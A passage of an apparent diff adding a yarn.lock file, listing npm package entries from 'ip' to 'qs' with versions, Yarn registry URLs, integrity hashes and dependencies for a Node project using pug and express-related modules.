sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw== + +ip@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/ip/-/ip-2.0.0.tgz#4cf4ab182fee2314c75ede1276f8c80b479936da" + integrity sha512-WKa+XuLG1A1R0UWhl2+1XQSi+fZWMsYKffMZTTYsiZaUD8k2yDAj5atimTUD2TZkyCkNEeYE5NhFZmupOGtjYQ== + +ipaddr.js@1.9.1: + version "1.9.1" + resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3" + integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g== + +is-buffer@^1.1.5: + version "1.1.6" + resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be" + integrity sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w== + +is-core-module@^2.9.0: + version "2.11.0" + resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.11.0.tgz#ad4cb3e3863e814523c96f3f58d26cc570ff0144" + integrity sha512-RRjxlvLDkD1YJwDbroBHMb+cukurkDWNyHx7D3oNB5x9rb5ogcksMC5wHCadcXoo67gVr/+3GFySh3134zi6rw== + dependencies: + has "^1.0.3" + +is-expression@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/is-expression/-/is-expression-3.0.0.tgz#39acaa6be7fd1f3471dc42c7416e61c24317ac9f" + integrity sha512-vyMeQMq+AiH5uUnoBfMTwf18tO3bM6k1QXBE9D6ueAAquEfCZe3AJPtud9g6qS0+4X8xA7ndpZiDyeb2l2qOBw== + dependencies: + acorn "~4.0.2" + object-assign "^4.0.1" + +is-fullwidth-code-point@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d" + integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg== + +is-lambda@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/is-lambda/-/is-lambda-1.0.1.tgz#3d9877899e6a53efc0160504cde15f82e6f061d5" + integrity sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ== + +is-promise@^2.0.0: + version "2.2.2" + resolved "https://registry.yarnpkg.com/is-promise/-/is-promise-2.2.2.tgz#39ab959ccbf9a774cf079f7b40c7a26f763135f1" + integrity sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ== + +is-regex@^1.0.3: + version "1.1.4" + resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.1.4.tgz#eef5663cd59fa4c0ae339505323df6854bb15958" + integrity sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg== + dependencies: + call-bind "^1.0.2" + has-tostringtag "^1.0.0" + +isexe@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10" + integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw== + +js-stringify@^1.0.1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/js-stringify/-/js-stringify-1.0.2.tgz#1736fddfd9724f28a3682adc6230ae7e4e9679db" + integrity sha512-rtS5ATOo2Q5k1G+DADISilDA6lv79zIiwFd6CcjuIxGKLFm5C+RLImRscVap9k55i+MOZwgliw+NejvkLuGD5g== + +jstransformer@1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/jstransformer/-/jstransformer-1.0.0.tgz#ed8bf0921e2f3f1ed4d5c1a44f68709ed24722c3" + integrity sha512-C9YK3Rf8q6VAPDCCU9fnqo3mAfOH6vUGnMcP4AQAYIEpWtfGLpwOTmZ+igtdK5y+VvI2n3CyYSzy4Qh34eq24A== + dependencies: + is-promise "^2.0.0" + promise "^7.0.1" + +kind-of@^3.0.2: + version "3.2.2" + resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-3.2.2.tgz#31ea21a734bab9bbb0f32466d893aea51e4a3c64" + integrity sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ== + dependencies: + is-buffer "^1.1.5" + +lazy-cache@^1.0.3: + version "1.0.4" + resolved "https://registry.yarnpkg.com/lazy-cache/-/lazy-cache-1.0.4.tgz#a1d78fc3a50474cb80845d3b3b6e1da49a446e8e" + integrity sha512-RE2g0b5VGZsOCFOCgP7omTRYFqydmZkBwl5oNnQ1lDYC57uyO9KqNnNVxT7COSHTxrRCWVcAVOcbjk+tvh/rgQ== + +lodash@^4.17.4: + version "4.17.21" + resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c" + integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg== + +longest@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/longest/-/longest-1.0.1.tgz#30a0b2da38f73770e8294a0d22e6625ed77d0097" + integrity sha512-k+yt5n3l48JU4k8ftnKG6V7u32wyH2NfKzeMto9F/QRE0amxy/LayxwlvjjkZEIzqR+19IrtFO8p5kB9QaYUFg== + +lru-cache@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-6.0.0.tgz#6d6fe6570ebd96aaf90fcad1dafa3b2566db3a94" + integrity sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA== + dependencies: + yallist "^4.0.0" + +make-dir@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f" + integrity sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw== + dependencies: + semver "^6.0.0" + +make-fetch-happen@^9.1.0: + version "9.1.0" + resolved "https://registry.yarnpkg.com/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz#53085a09e7971433e6765f7971bf63f4e05cb968" + integrity sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg== + dependencies: + agentkeepalive "^4.1.3" + cacache "^15.2.0" + http-cache-semantics "^4.1.0" + http-proxy-agent "^4.0.1" + https-proxy-agent "^5.0.0" + is-lambda "^1.0.1" + lru-cache "^6.0.0" + minipass "^3.1.3" + minipass-collect "^1.0.2" + minipass-fetch "^1.3.2" + minipass-flush "^1.0.5" + minipass-pipeline "^1.2.4" + negotiator "^0.6.2" + promise-retry "^2.0.1" + socks-proxy-agent "^6.0.0" + ssri "^8.0.0" + +media-typer@0.3.0: + version "0.3.0" + resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748" + integrity sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ== + +merge-descriptors@1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61" + integrity sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w== + +methods@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee" + integrity sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w== + +mime-db@1.52.0: + version "1.52.0" + resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.52.0.tgz#bbabcdc02859f4987301c856e3387ce5ec43bf70" + integrity sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg== + +mime-types@~2.1.24, mime-types@~2.1.34: + version "2.1.35" + resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.35.tgz#381a871b62a734450660ae3deee44813f70d959a" + integrity sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw== + dependencies: + mime-db "1.52.0" + +mime@1.4.1: + version "1.4.1" + resolved "https://registry.yarnpkg.com/mime/-/mime-1.4.1.tgz#121f9ebc49e3766f311a76e1fa1c8003c4b03aa6" + integrity sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ== + +minimatch@^3.1.1: + version "3.1.2" + resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b" + integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw== + dependencies: + brace-expansion "^1.1.7" + +minipass-collect@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/minipass-collect/-/minipass-collect-1.0.2.tgz#22b813bf745dc6edba2576b940022ad6edc8c617" + integrity sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA== + dependencies: + minipass "^3.0.0" + +minipass-fetch@^1.3.2: + version "1.4.1" + resolved "https://registry.yarnpkg.com/minipass-fetch/-/minipass-fetch-1.4.1.tgz#d75e0091daac1b0ffd7e9d41629faff7d0c1f1b6" + integrity sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw== + dependencies: + minipass "^3.1.0" + minipass-sized "^1.0.3" + minizlib "^2.0.0" + optionalDependencies: + encoding "^0.1.12" + +minipass-flush@^1.0.5: + version "1.0.5" + resolved "https://registry.yarnpkg.com/minipass-flush/-/minipass-flush-1.0.5.tgz#82e7135d7e89a50ffe64610a787953c4c4cbb373" + integrity sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw== + dependencies: + minipass "^3.0.0" + +minipass-pipeline@^1.2.2, minipass-pipeline@^1.2.4: + version "1.2.4" + resolved "https://registry.yarnpkg.com/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz#68472f79711c084657c067c5c6ad93cddea8214c" + integrity sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A== + dependencies: + minipass "^3.0.0" + +minipass-sized@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/minipass-sized/-/minipass-sized-1.0.3.tgz#70ee5a7c5052070afacfbc22977ea79def353b70" + integrity sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g== + dependencies: + minipass "^3.0.0" + +minipass@^3.0.0, minipass@^3.1.0, minipass@^3.1.1, minipass@^3.1.3: + version "3.3.4" + resolved "https://registry.yarnpkg.com/minipass/-/minipass-3.3.4.tgz#ca99f95dd77c43c7a76bf51e6d200025eee0ffae" + integrity sha512-I9WPbWHCGu8W+6k1ZiGpPu0GkoKBeorkfKNuAFBNS1HNFJvke82sxvI5bzcCNpWPorkOO5QQ+zomzzwRxejXiw== + dependencies: + yallist "^4.0.0" + +minizlib@^2.0.0, minizlib@^2.1.1: + version "2.1.2" + resolved "https://registry.yarnpkg.com/minizlib/-/minizlib-2.1.2.tgz#e90d3466ba209b932451508a11ce3d3632145931" + integrity sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg== + dependencies: + minipass "^3.0.0" + yallist "^4.0.0" + +mkdirp@^1.0.3, mkdirp@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e" + integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw== + +morgan@~1.9.1: + version "1.9.1" + resolved "https://registry.yarnpkg.com/morgan/-/morgan-1.9.1.tgz#0a8d16734a1d9afbc824b99df87e738e58e2da59" + integrity sha512-HQStPIV4y3afTiCYVxirakhlCfGkI161c76kKFca7Fk1JusM//Qeo1ej2XaMniiNeaZklMVrh3vTtIzpzwbpmA== + dependencies: + basic-auth "~2.0.0" + debug "2.6.9" + depd "~1.1.2" + on-finished "~2.3.0" + on-headers "~1.0.1" + +ms@2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8" + integrity sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A== + +ms@2.1.2: + version "2.1.2" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009" + integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w== + +ms@^2.0.0: + version "2.1.3" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2" + integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== + +negotiator@0.6.3, negotiator@^0.6.2: + version "0.6.3" + resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.3.tgz#58e323a72fedc0d6f9cd4d31fe49f51479590ccd" + integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg== + +node-addon-api@^4.2.0: + version "4.3.0" + resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-4.3.0.tgz#52a1a0b475193e0928e98e0426a0d1254782b77f" + integrity sha512-73sE9+3UaLYYFmDsFZnqCInzPyh3MqIwZO9cw58yIqAZhONrrabrYyYe3TuIqtIiOuTXVhsGau8hcrhhwSsDIQ== + +node-fetch@^2.6.7: + version "2.6.7" + resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.7.tgz#24de9fba827e3b4ae44dc8b20256a379160052ad" + integrity sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ== + dependencies: + whatwg-url "^5.0.0" + +node-gyp@8.x: + version "8.4.1" + resolved "https://registry.yarnpkg.com/node-gyp/-/node-gyp-8.4.1.tgz#3d49308fc31f768180957d6b5746845fbd429937" + integrity sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w== + dependencies: + env-paths "^2.2.0" + glob "^7.1.4" + graceful-fs "^4.2.6" + make-fetch-happen "^9.1.0" + nopt "^5.0.0" + npmlog "^6.0.0" + rimraf "^3.0.2" + semver "^7.3.5" + tar "^6.1.2" + which "^2.0.2" + +nopt@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/nopt/-/nopt-5.0.0.tgz#530942bb58a512fccafe53fe210f13a25355dc88" + integrity sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ== + dependencies: + abbrev "1" + +npmlog@^5.0.1: + version "5.0.1" + resolved "https://registry.yarnpkg.com/npmlog/-/npmlog-5.0.1.tgz#f06678e80e29419ad67ab964e0fa69959c1eb8b0" + integrity sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw== + dependencies: + are-we-there-yet "^2.0.0" + console-control-strings "^1.1.0" + gauge "^3.0.0" + set-blocking "^2.0.0" + +npmlog@^6.0.0: + version "6.0.2" + resolved "https://registry.yarnpkg.com/npmlog/-/npmlog-6.0.2.tgz#c8166017a42f2dea92d6453168dd865186a70830" + integrity sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg== + dependencies: + are-we-there-yet "^3.0.0" + console-control-strings "^1.1.0" + gauge "^4.0.3" + set-blocking "^2.0.0" + +object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^4.1.1: + version "4.1.1" + resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863" + integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg== + +on-finished@~2.3.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947" + integrity sha512-ikqdkGAAyf/X/gPhXGvfgAytDZtDbr+bkNUJ0N9h5MI/dmdgCs3l6hoHrcUv41sRKew3jIwrp4qQDXiK99Utww== + dependencies: + ee-first "1.1.1" + +on-headers@~1.0.1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/on-headers/-/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f" + integrity sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA== + +once@^1.3.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1" + integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w== + dependencies: + wrappy "1" + +p-map@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/p-map/-/p-map-4.0.0.tgz#bb2f95a5eda2ec168ec9274e06a747c3e2904d2b" + integrity sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ== + dependencies: + aggregate-error "^3.0.0" + +parseurl@~1.3.2: + version "1.3.3" + resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4" + integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ== + +path-is-absolute@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f" + integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg== + +path-parse@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735" + integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw== + +path-to-regexp@0.1.7: + version "0.1.7" + resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c" + integrity sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ== + +promise-inflight@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/promise-inflight/-/promise-inflight-1.0.1.tgz#98472870bf228132fcbdd868129bad12c3c029e3" + integrity sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g== + +promise-retry@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/promise-retry/-/promise-retry-2.0.1.tgz#ff747a13620ab57ba688f5fc67855410c370da22" + integrity sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g== + dependencies: + err-code "^2.0.2" + retry "^0.12.0" + +promise@^7.0.1: + version "7.3.1" + resolved "https://registry.yarnpkg.com/promise/-/promise-7.3.1.tgz#064b72602b18f90f29192b8b1bc418ffd1ebd3bf" + integrity sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg== + dependencies: + asap "~2.0.3" + +proxy-addr@~2.0.4: + version "2.0.7" + resolved "https://registry.yarnpkg.com/proxy-addr/-/proxy-addr-2.0.7.tgz#f19fe69ceab311eeb94b42e70e8c2070f9ba1025" + integrity sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg== + dependencies: + forwarded "0.2.0" + ipaddr.js "1.9.1" + +pug-attrs@^2.0.2: + version "2.0.4" + resolved "https://registry.yarnpkg.com/pug-attrs/-/pug-attrs-2.0.4.tgz#b2f44c439e4eb4ad5d4ef25cac20d18ad28cc336" + integrity sha512-TaZ4Z2TWUPDJcV3wjU3RtUXMrd3kM4Wzjbe3EWnSsZPsJ3LDI0F3yCnf2/W7PPFF+edUFQ0HgDL1IoxSz5K8EQ== + dependencies: + constantinople "^3.0.1" + js-stringify "^1.0.1" + pug-runtime "^2.0.5" + +pug-code-gen@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/pug-code-gen/-/pug-code-gen-1.1.1.tgz#1cf72744ef2a039eae6a3340caaa1105871258e8" + integrity sha512-UwZaJVhjhy2kYntLqXjSV1ae+K96ve6bG+N5bLFfA6yyGJTEkguct19MWDyUM9D8CDU3NNxVctUAh5McF19E6w== + dependencies: + constantinople "^3.0.1" + doctypes "^1.1.0" + js-stringify "^1.0.1" + pug-attrs "^2.0.2" + pug-error "^1.3.2" + pug-runtime "^2.0.3" + void-elements "^2.0.1" + with "^5.0.0" + +pug-error@^1.3.2, pug-error@^1.3.3: + version "1.3.3" + resolved "https://registry.yarnpkg.com/pug-error/-/pug-error-1.3.3.tgz#f342fb008752d58034c185de03602dd9ffe15fa6" + integrity sha512-qE3YhESP2mRAWMFJgKdtT5D7ckThRScXRwkfo+Erqga7dyJdY3ZquspprMCj/9sJ2ijm5hXFWQE/A3l4poMWiQ== + +pug-filters@^2.1.1: + version "2.1.5" + resolved "https://registry.yarnpkg.com/pug-filters/-/pug-filters-2.1.5.tgz#66bf6e80d97fbef829bab0aa35eddff33fc964f3" + integrity sha512-xkw71KtrC4sxleKiq+cUlQzsiLn8pM5+vCgkChW2E6oNOzaqTSIBKIQ5cl4oheuDzvJYCTSYzRaVinMUrV4YLQ== + dependencies: + clean-css "^3.3.0" + constantinople "^3.0.1" + jstransformer "1.0.0" + pug-error "^1.3.2" + pug-walk "^1.1.5" + resolve "^1.1.6" + uglify-js "^2.6.1" + +pug-lexer@^3.0.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/pug-lexer/-/pug-lexer-3.1.0.tgz#fd087376d4a675b4f59f8fef422883434e9581a2" + integrity sha512-DxXOrmCIDVEwzN2ozZBK1t4QRTR6pLv5YkqM6dLdaSHnm+LJJRBngVn4IDMMBZQR9xUpxrRm9rffmku2OEqkJw== + dependencies: + character-parser "^2.1.1" + is-expression "^3.0.0" + pug-error "^1.3.2" + +pug-linker@^2.0.2: + version "2.0.3" + resolved "https://registry.yarnpkg.com/pug-linker/-/pug-linker-2.0.3.tgz#b331ffa25737dde69c127b56c10ff17fae766dca" + integrity sha512-ZqKljvFUl1K5L4G5WABJ5FUYWOY0K2AXLmwj2QfM7nPCUcxfsmr05SikjgXGXVoIrygGzM/iWSsXwnkWId4AHw== + dependencies: + pug-error "^1.3.2" + pug-walk "^1.1.2" + +pug-load@^2.0.5: + version "2.0.12" + resolved "https://registry.yarnpkg.com/pug-load/-/pug-load-2.0.12.tgz#d38c85eb85f6e2f704dea14dcca94144d35d3e7b" + integrity sha512-UqpgGpyyXRYgJs/X60sE6SIf8UBsmcHYKNaOccyVLEuT6OPBIMo6xMPhoJnqtB3Q3BbO4Z3Bjz5qDsUWh4rXsg== + dependencies: + object-assign "^4.1.0" + pug-walk "^1.1.8" + +pug-parser@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/pug-parser/-/pug-parser-2.0.2.tgz#53a680cfd05039dcb0c27d029094bc4a792689b0" + integrity sha512-PW8kKDLN07MbFljR/GaYHPBGW+64YldtFFZUEGltJ67RRzebI/DxZy4njlxacy9JeheosyVprZ9C5DIexG1D/Q== + dependencies: + pug-error "^1.3.2" + token-stream "0.0.1" + +pug-runtime@^2.0.3, pug-runtime@^2.0.5: + version "2.0.5" + resolved "https://registry.yarnpkg.com/pug-runtime/-/pug-runtime-2.0.5.tgz#6da7976c36bf22f68e733c359240d8ae7a32953a" + integrity sha512-P+rXKn9un4fQY77wtpcuFyvFaBww7/91f3jHa154qU26qFAnOe6SW1CbIDcxiG5lLK9HazYrMCCuDvNgDQNptw== + +pug-strip-comments@^1.0.2: + version "1.0.4" + resolved "https://registry.yarnpkg.com/pug-strip-comments/-/pug-strip-comments-1.0.4.tgz#cc1b6de1f6e8f5931cf02ec66cdffd3f50eaf8a8" + integrity sha512-i5j/9CS4yFhSxHp5iKPHwigaig/VV9g+FgReLJWWHEHbvKsbqL0oP/K5ubuLco6Wu3Kan5p7u7qk8A4oLLh6vw== + dependencies: + pug-error "^1.3.3" + +pug-walk@^1.1.2, pug-walk@^1.1.5, pug-walk@^1.1.8: + version "1.1.8" + resolved "https://registry.yarnpkg.com/pug-walk/-/pug-walk-1.1.8.tgz#b408f67f27912f8c21da2f45b7230c4bd2a5ea7a" + integrity sha512-GMu3M5nUL3fju4/egXwZO0XLi6fW/K3T3VTgFQ14GxNi8btlxgT5qZL//JwZFm/2Fa64J/PNS8AZeys3wiMkVA== + +pug@2.0.0-beta11: + version "2.0.0-beta11" + resolved "https://registry.yarnpkg.com/pug/-/pug-2.0.0-beta11.tgz#15abe6af5004c7e2cf4613e4b27465c9546b5f01" + integrity sha512-iV0ibDCWLJGw8eEtBKAqbJZecOabQa6hpFeH+GCBzsAsCNSvpjo4wuHMPcmqtaZhxoO3ElbMePf8jkrM9TKulw== + dependencies: + pug-code-gen "^1.1.1" + pug-filters "^2.1.1" + pug-lexer "^3.0.0" + pug-linker "^2.0.2" + pug-load "^2.0.5" + pug-parser "^2.0.2" + pug-runtime "^2.0.3" + pug-strip-comments "^1.0.2" + +qs@6.5.2: + version "6.5.2" + resolved "https://registry.yarnpkg.com/qs/-/qs-6.5.2.tgz#cb3ae806e8740444584ef154ce8ee98d403f3e36" + integrity 